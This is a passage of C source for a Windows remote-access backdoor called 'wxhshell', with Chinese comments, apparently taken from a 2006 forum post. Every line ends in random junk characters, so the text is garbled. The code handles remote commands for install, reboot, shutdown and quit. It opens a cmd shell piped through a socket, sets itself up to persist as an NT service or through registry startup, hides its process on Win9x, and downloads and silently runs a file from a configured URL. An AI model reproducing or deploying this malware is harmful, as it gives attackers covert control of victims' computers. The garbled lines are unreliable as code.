)iadu  
    switch(cmd[0]) { .E:[ \H"  
  J,;[n*s  
  // 帮助 ^Cb7R/R3  
  case '?': { %0T/>:1[E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %J4]T35^2  
    break; f2Frb  
  } SvC|"-[mJ  
  // 安装 F_;oZ   
  case 'i': { "8 |y  
    if(Install()) oZ95)'L,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); opTDW)  
    else OQ"%(w>Hb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z0T{1YEJ  
    break; b3}928!D-@  
    } jeF1{%  
  // 卸载 ?Z%Ja_}8ma  
  case 'r': { mMmzi4HL  
    if(Uninstall()) b2c% 0C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ry*NRP;  
    else -}|GkTM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OD<0,r0f,  
    break; tdg.vYMDPC  
    } +4^XFPq~  
  // 显示 wxhshell 所在路径 m)9N9Ii#)  
  case 'p': { GXB4&Q!C  
    char svExeFile[MAX_PATH]; ;:1d<Q|  
    strcpy(svExeFile,"\n\r"); l=*^FK]L`  
      strcat(svExeFile,ExeFile); NhQIpzL)  
        send(wsh,svExeFile,strlen(svExeFile),0); b $x<7l5C  
    break; @ fm\ H  
    } fVv#|   
  // 重启 }CZ,WJz=  
  case 'b': { UN_f2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ):?ype>  
    if(Boot(REBOOT)) p.i$[6M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p3O%|)yV  
    else { o>#<c @  
    closesocket(wsh); zMb7a_W  
    ExitThread(0); t$=FcKUV}f  
    } U~Aw=h5SD  
    break; ^zkTV_,cRp  
    } Rt~Aud[  
  // 关机 NWPL18*C  
  case 'd': { 06*R)siC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2{c ;ELq  
    if(Boot(SHUTDOWN)) %~P]x7%|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d_#\^!9  
    else { m>2b %GTh  
    closesocket(wsh); lGqwB,K$z4  
    ExitThread(0); XPXC7_fV  
    } {"8\~r&b  
    break; FW&P`Iu  
    } g.aNITjP  
  // 获取shell EAo7(d@  
  case 's': { 9oS\{[x.  
    CmdShell(wsh); \@nmM&7C!4  
    closesocket(wsh); yAtM|:qq  
    ExitThread(0); 0K7]<\)  
    break; pVn 6>\xa  
  } f]"][!e!,  
  // 退出 oQ~Q?o]Ri  
  case 'x': { ,R0@`t1 p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E>TD`  
    CloseIt(wsh); m s\:^a  
    break; Q_/{TE/sO5  
    } *2crhI*@>  
  // 离开 >JS\H6  
  case 'q': { {y<[1Pms  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L5%~H?K(  
    closesocket(wsh); >`= '~y8  
    WSACleanup(); FOpOS?Cr'  
    exit(1); PYr#vOH  
    break; {r.#R| 4v  
        } m JewUc!<5  
  } V S2p"0$3D  
  } ,HS\(Z  
1YR;dn  
  // 提示信息 5b9_6L6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,0[8/)$M  
} xr!FDfM.K  
  } is{I5IR\/  
Gh0H) q  
  return; +xRja(d6  
} 3O%[k<S\VO  
liFNJd`|o+  
// shell模块句柄 : Ey  
int CmdShell(SOCKET sock) Nt67Ye3;  
{ e.G&hJ r  
STARTUPINFO si; sr x`" :  
ZeroMemory(&si,sizeof(si)); wM(!9Ws3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^mFuZ~g;?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NAV}q<@v  
PROCESS_INFORMATION ProcessInfo; V'pNo&O=  
char cmdline[]="cmd"; iKV;>gF,)v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .{HU1/!  
  return 0; -"Lia!Q]M  
} n?@3R#4D3  
'1ff|c!x9  
// 自身启动模式 fMwJwMT8  
int StartFromService(void) 8kAG EiC  
{ h3a HCr E  
typedef struct 9?gLi!rd  
{ m\U@L+L  
  DWORD ExitStatus; ?nrd$,  
  DWORD PebBaseAddress; ^C>i(j&  
  DWORD AffinityMask; Lcplc"C  
  DWORD BasePriority; 9C[3w[G~C  
  ULONG UniqueProcessId; Zp@p9][C  
  ULONG InheritedFromUniqueProcessId; QpS0iUG  
}   PROCESS_BASIC_INFORMATION; Kr=DoQ."d8  
N:0/8jmmO  
PROCNTQSIP NtQueryInformationProcess; nk1(/~`  
9%oLv25{)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xBG&ZM4"^f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /#9O{)  
HoymGU`w  
  HANDLE             hProcess; M]jzbJ3Q  
  PROCESS_BASIC_INFORMATION pbi; $ePAsJ  
~6!=_"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?)Z~H,Q(z  
  if(NULL == hInst ) return 0; R_uA!MoLs  
{~16j"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {i~qm4+o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^w^cYM,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ")ow,r^"  
)<DL'  
  if (!NtQueryInformationProcess) return 0; J[L$8y:  
Mb3,!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +%eMm.(  
  if(!hProcess) return 0; ,V)yOLApVj  
vkE6e6,Qc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "<3PyW?zt  
^O#,%>1J  
  CloseHandle(hProcess); y2\, L  
T9{94Ra  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); " FcA:7+  
if(hProcess==NULL) return 0; *ky5SM(NR  
qOZe\<.V<  
HMODULE hMod; h_?D%b~5  
char procName[255]; h\C  
unsigned long cbNeeded; 9g"a`a?c  
\PU|<Ru.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p(Y'fd}  
KLsTgo|J  
  CloseHandle(hProcess); 4&K~EX"^T  
$&n!j'C:  
if(strstr(procName,"services")) return 1; // 以服务启动 |6`yE]3 -(  
T$GhE  
  return 0; // 注册表启动 @]WN|K  
} @`$8rck`  
Eo)Q> AM  
// 主模块 ~8`r.1aUO  
int StartWxhshell(LPSTR lpCmdLine) e_g7E+6  
{ *M/3 1qI  
  SOCKET wsl; FlD !?  
BOOL val=TRUE; Wh(V?!^@5  
  int port=0; Sq-mH=rs]  
  struct sockaddr_in door; s=~r. x  
r@"Vbq%  
  if(wscfg.ws_autoins) Install(); _R]la&^2F\  
rxIfatp^  
port=atoi(lpCmdLine); *7nlel  
3tS~/o+]  
if(port<=0) port=wscfg.ws_port; mcb0%  
>\^:xx Tf  
  WSADATA data; CO0Nq/@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :v Pzw!  
F_zs"ex/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `t {aN|3V[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +MGEO+  
  door.sin_family = AF_INET; +aEE(u6%E@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pUYa1=  
  door.sin_port = htons(port); MJ8z"SKnV  
wR@fB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +x-n,!(  
closesocket(wsl); 477jS6^e&  
return 1; tE9%;8;H  
} syv6" 2Z'B  
Xko[Z;4v8'  
  if(listen(wsl,2) == INVALID_SOCKET) { K) sO  
closesocket(wsl); (3%NudkwT  
return 1; \.9-:\'(  
} %z`bu2  
  Wxhshell(wsl); <{3VK  
  WSACleanup(); :I+%v  
fHb0pp\[.  
return 0; Y=x]'3}^  
7zgU>$i  
} .^l;3*X@  
or]8;eQ?  
// 以NT服务方式启动 ?%iAkV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &( b\jyf  
{ wP+wA}SN  
DWORD   status = 0; BB|w-W=Kd  
  DWORD   specificError = 0xfffffff; + 3aAL&  
4rw<C07Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @;G}bYq^(I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Tr(w~et  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3E+u)f lmB  
  serviceStatus.dwWin32ExitCode     = 0; :p=IZY  
  serviceStatus.dwServiceSpecificExitCode = 0; PE]jYyyHtU  
  serviceStatus.dwCheckPoint       = 0; V!DQ_T+a  
  serviceStatus.dwWaitHint       = 0; Fj7cI +  
(m-(5 CaJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D5]T.8kX(7  
  if (hServiceStatusHandle==0) return; O6YYOmt3  
.?<,J  
status = GetLastError(); <lB^>Hfu  
  if (status!=NO_ERROR) oZmni9*SD  
{ ORA +>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @L=xY[&{  
    serviceStatus.dwCheckPoint       = 0; Zvk O#j  
    serviceStatus.dwWaitHint       = 0; }Rt?p8p  
    serviceStatus.dwWin32ExitCode     = status; =sG  C  
    serviceStatus.dwServiceSpecificExitCode = specificError; B7fURL Rqr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z<0M_q9?MO  
    return; 'eLO#1Ipf  
  } U9SByqa1  
b_|`jHes  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >(|T]u](q  
  serviceStatus.dwCheckPoint       = 0; W-<C%9O!  
  serviceStatus.dwWaitHint       = 0; z$QYl*F1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TF^Rh4  
} # yAt `  
{}s7q|$  
// 处理NT服务事件,比如:启动、停止 >IJH#>i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :,fs' !  
{ }<[@)g.h.  
switch(fdwControl) @tM1e<  
{ bvUjH5.7  
case SERVICE_CONTROL_STOP: GghZ".O  
  serviceStatus.dwWin32ExitCode = 0; bf VKf}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X) owj7U;  
  serviceStatus.dwCheckPoint   = 0; ) 'j7Ra  
  serviceStatus.dwWaitHint     = 0; pyq~_ Bng  
  { 2h@/Q)z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (ye1t96  
  } Z0`Bn5  
  return; ^GD"aerNr  
case SERVICE_CONTROL_PAUSE: O8w R#(/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V) a<)  
  break; :tl* >d~  
case SERVICE_CONTROL_CONTINUE: P bj&l0C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D2#3fM6  
  break; &_x:+{06  
case SERVICE_CONTROL_INTERROGATE: ^{T]sv  
  break; U,gg@!1GJo  
}; D8m1:kU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~5N0=)  
} @dvlSqm)  
2y>~<S  
// 标准应用程序主函数 `k+ci7;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `1=n H/E  
{ H!y1&  
_rdEur C6  
// 获取操作系统版本 B36_ OH  
OsIsNt=GetOsVer(); NoB)tAvw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jL8.*pfv  
az*c0Z<pl  
  // 从命令行安装 D{x'k2=  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5V':3o;D__  
<~X4&E]rT_  
  // 下载执行文件 ,6=j'j1#a  
if(wscfg.ws_downexe) { M2W4 RovfR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z\]]d?d?;  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7 y5`YJ}!  
} G|H+ ,B  
--6C>iY[&u  
if(!OsIsNt) {  SP?~i@H  
// 如果时win9x,隐藏进程并且设置为注册表启动 x"9`w 42\r  
HideProc(); tBd-?+~7  
StartWxhshell(lpCmdLine); 0Dv r:]R  
} dY5 m) ?  
else ]0p] u d&  
  if(StartFromService()) 7hQXGY,q  
  // 以服务方式启动 InBnU`(r  
  StartServiceCtrlDispatcher(DispatchTable); Y``50{7  
else xAbx.\  
  // 普通方式启动 1YV ;pEw3w  
  StartWxhshell(lpCmdLine); 0/5 a3-3{  
++w7jVi9  
return 0;  ?12[8   
}
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只看该作者 1 发表于: 2006-10-10
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